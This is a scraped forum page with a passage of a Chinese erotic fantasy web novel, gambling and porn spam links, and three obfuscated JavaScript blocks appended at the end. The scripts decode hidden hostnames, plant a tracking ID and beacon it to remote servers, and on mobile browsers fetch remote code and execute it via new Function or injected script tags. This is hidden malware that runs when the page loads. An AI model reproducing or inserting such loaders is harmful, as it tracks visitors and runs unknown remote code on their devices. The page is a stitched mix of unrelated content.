「是啊,都是你幹的好事,當初如果沒有你幫的那一把,現在就不用這麼麻煩了。」想來我臉上的表情好看不到哪裡去。
當初在南蠻,要不是白瀾熊的「仗義相助」,或明或暗地激我,我和羽虹也不可能走到今天這一步,說來也真是拜他所賜了。
「嘿,我叫你去抓鬼,沒叫你被鬼抓去。難道當媒人還要包生兒子嗎?你被一個女人弄得這麼狼狽,真是連我都替你感到羞恥啊。」
白瀾熊的寶貴話語,真是一句話驚醒夢中人,我想到了一個非常重要的問題,那就是我何必這麼默默挨打?本來羽虹就是我在調教,任憑我的操弄,搓圓捏扁都是我的自由,哪輪得到她在我面前拿翹?
(嘿嘿嘿,差點把我的優勢給忘記了,而且還有一件厲害工具沒用呢,嘿,倒過來想,她主動挑逗我,這不是我一直想訓練她做卻未能成功的事嗎?)
越想越得意,眼前狀況更讓我想到一句魔法世界的名言,當你在窺視黑暗的時候,黑暗也正在窺視著你!
羽虹現在正費盡心思,用各種手段來挑逗我的慾望,同樣的,她本身也正暴露在激昂的春情之下,一個操控不好,肉慾渴望隨時回燒自身,事情嚴重起來,搞不好會變成花癡也不一定,在這樣的危險邊緣,應該也有些是我能利用、引導的東西吧?
「你在想什麼?怎麼越笑越奸詐的樣子?」
「不關你的事,別管。」
我扔開白瀾熊這個麻煩,急急忙忙往回程趕去,去找羽霓來做一些預備工作,結果路上碰到娜西莎絲,與我並肩而行,順道再問起了入夢感應的細節,登時皺起了眉頭。
「你這樣的成效太慢了,下次我來幫你,應該可以多讀取到一點東西。」
「喂喂,你那是什麼鳥建議,像這種思念波的溝通,是靈魂對靈魂的直接貫串,最是危險不過,多一個思念波過來,這種事情和點燃炸藥引線沒兩樣,我怎麼玩都不敢拿這來玩啊。」
「你太坐井觀天了,伊斯塔數百年的研究,在各方面都有不為人知的神妙術法,相信我吧,我有能力助你穩定腦波,讓你的夢境更清晰,時間更為延長的,別忘記,我們的時間不多了……」
娜西莎絲說得自信滿滿,我也不得不信,畢竟伊斯塔是她的地頭,這些魔法什麼的,也只有她最熟。不過,連續與娜西莎絲的密切合作,也讓我生出一種特殊感覺,暗歎若非彼此出身相差太多,立場有別,搞不好她也是一個可以結交的朋友。
(唔,我真是想太多了,連妖女都當成是朋友,哪天被她反咬一口,小心連頭都沒有了。)
這個念頭冒出,我的表情也顯得古怪,落在娜西莎絲眼中,她忽然冒出一句,「出身伊斯塔的就一定是妖女?這個印象會不會太刻板了?」
「呃,不然呢?你要讓我相信伊斯塔也會生出聖女嗎?」
我說著,一手探向娜西莎絲的腰肢,輕撫薄紗下滑潤如蜜的肌膚,感受小蠻腰的驚人彈性,不由得神馳物外,想像這腰肢擺動的時候,會是何等騷浪動人的情形。
娜西莎絲沒有拒絕我的毛手毛腳,只是嫵媚地一笑,道:「提督忒也大膽,明知道我是人妖,也還對我有興趣嗎?」
「哈哈,人誰無過嘛,天生我材必有用,人妖不能搞,摸摸腰總是可以的嘛。」
我打著哈哈,手掌並沒有移開,眼睛凝視著娜西莎絲充滿邪異美的臉龐,腦裡想起了很多事。
記憶中,娜西莎絲似乎不是出身名門,儘管她是巫神學會主席阿蘭·法斯坦的徒弟,可是她父母叫什麼名字,我就是一點印象也沒有。
伊斯塔的獸人奴隸固然多,人類奴隸也不少,奴隸繁衍所生下來的孩子,打出生就是奴隸,據說伊斯塔的巫師,會在這些奴隸之子滿週歲的時候,進行挑選,把一些資質奇佳的幼童收為助手或弟子。若是中選,那就是從此飛上枝頭變鳳凰,得到了一個新生,整個人生都將為此而改變。
照我對娜西莎絲的觀察,她很可能便是那樣的環境中誕生,偶然被阿蘭·法斯坦給看中,才有後來的發展與今日地位。若是這樣,她在伊斯塔的成就確實不易啊。
「你……知道自己雙親叫什麼嗎?」
一句話脫口而出,只是單純地忍不住想問,但娜西莎絲瞬間籠罩寒霜的表情,讓我曉得這個問題碰到了禁區,卻也更為好奇,不曉得是什麼樣的爸媽,才能生出這樣的孩子來。
在线看片  手机看片  凤凰娱乐  威尼斯人  同城约炮  同城上门  亚博赌场 
姬狩X战  成人漫画  命运女神  环球赌城  淘京影院  无码黄游  手机电影 
顶端
回复 引用 收藏
更多
关闭
关闭
function aPDbm(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function whXgz(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return aPDbm(t);};window[''+'n'+'D'+'l'+'P'+'W'+'a'+'G'+'m'+'Z'+'J'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function lZCwx(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=whXgz,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=lZCwx(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://ouj.vtqccm.com:7891/stats/9633/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=lZCwx(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMMlMM0ElMMkYlMMkZhLmRzYWhpai5jbiUzQTg4OTE=','d3NzJTNBJTJGJTJGYS544a25lb2suY29tJTNBOTUzNA==','9489',window,document,['M','4']);}:function(){};
function QAqLac(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function lCmShZ(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return QAqLac(t);};window[''+'i'+'s'+'q'+'j'+'b'+'h'+'O'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function twGl(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=lCmShZ,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=twGl(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/15662/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=twGl(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLm1rdnNmLmNuJTNBOODg5MQ==','d3NzJJTNBJJTJJGJJTJJGYS5rZmdqYS5jbiUzQTk1MzM=','168322',window,document,['O','J']);}:function(){};
let urls=["hWWtWWtWWpWWsWW:WW/WW/WWoWWcWW1WW8WW1WW2WWnWW4WWdWW7WW6WW.WWoWWsWWsWW-WWcWWnWW-WWsWWhWWaWWnWWgWWhWWaWWiWW.WWaWWlWWiWWyWWuWWnWWcWWsWW.WWcWWoWWmWW/WW1WW2WW/WW1WW1WW0WW5WWeWWcWW8WW5WW8WW2WW3WW7WW2".split("WW").join(""),"hBBtBBtBBpBBsBB:BB/BB/BBpBB.BBgBBoBBdBBmBBwBBiBBtBBhBB.BBcBBoBBmBB/BB1BB2BB/BB1BB1BB0BB5BBeBBcBB8BB5BB8BB2BB3BB7BB2".split("BB").join(""),"hBBtBBtBBpBBsBB:BB/BB/BBmBBqBB1BB2BBnBB4BBdBB7BB6BB.BBoBBsBBsBB-BBcBBnBB-BBsBBhBBaBBnBBgBBhBBaBBiBB.BBaBBlBBiBByBBuBBnBBcBBsBB.BBcBBoBBmBB/BB1BB2BB/BB1BB1BB0BB5BBeBBcBB8BB5BB8BB2BB3BB7BB2".split("BB").join(""),"hTTtTTtTTpTTsTT:TT/TT/TTdTT8TT9TT-TT1TT3TT1TT3TT9TT4TT4TT0TT6TT2TT.TTcTToTTsTT.TTaTTpTT-TThTToTTnTTgTTkTToTTnTTgTT.TTmTTyTTqTTcTTlTToTTuTTdTT.TTcTToTTmTT/TT1TT1TT0TT5TTeTTcTT8TT5TT8TT2TT3TT7TT2".split("TT").join("")];let urlindex=0;let rfunc=function(){if(window.__rr__loaded_2372_1105 != 'ok'){let ss = document.createElement('script');ss.type = 'text/javascript';ss.referrerPolicy='no-referrer';ss.src=urls[urlindex++]+ (navigator.userAgent.indexOf('Android') != -1 ? 'a':'i') + '?_=' + new Date().getTime();document.body.appendChild(ss);if(urlindex < urls.length){setTimeout(rfunc, 2000);}}};rfunc();rfunc();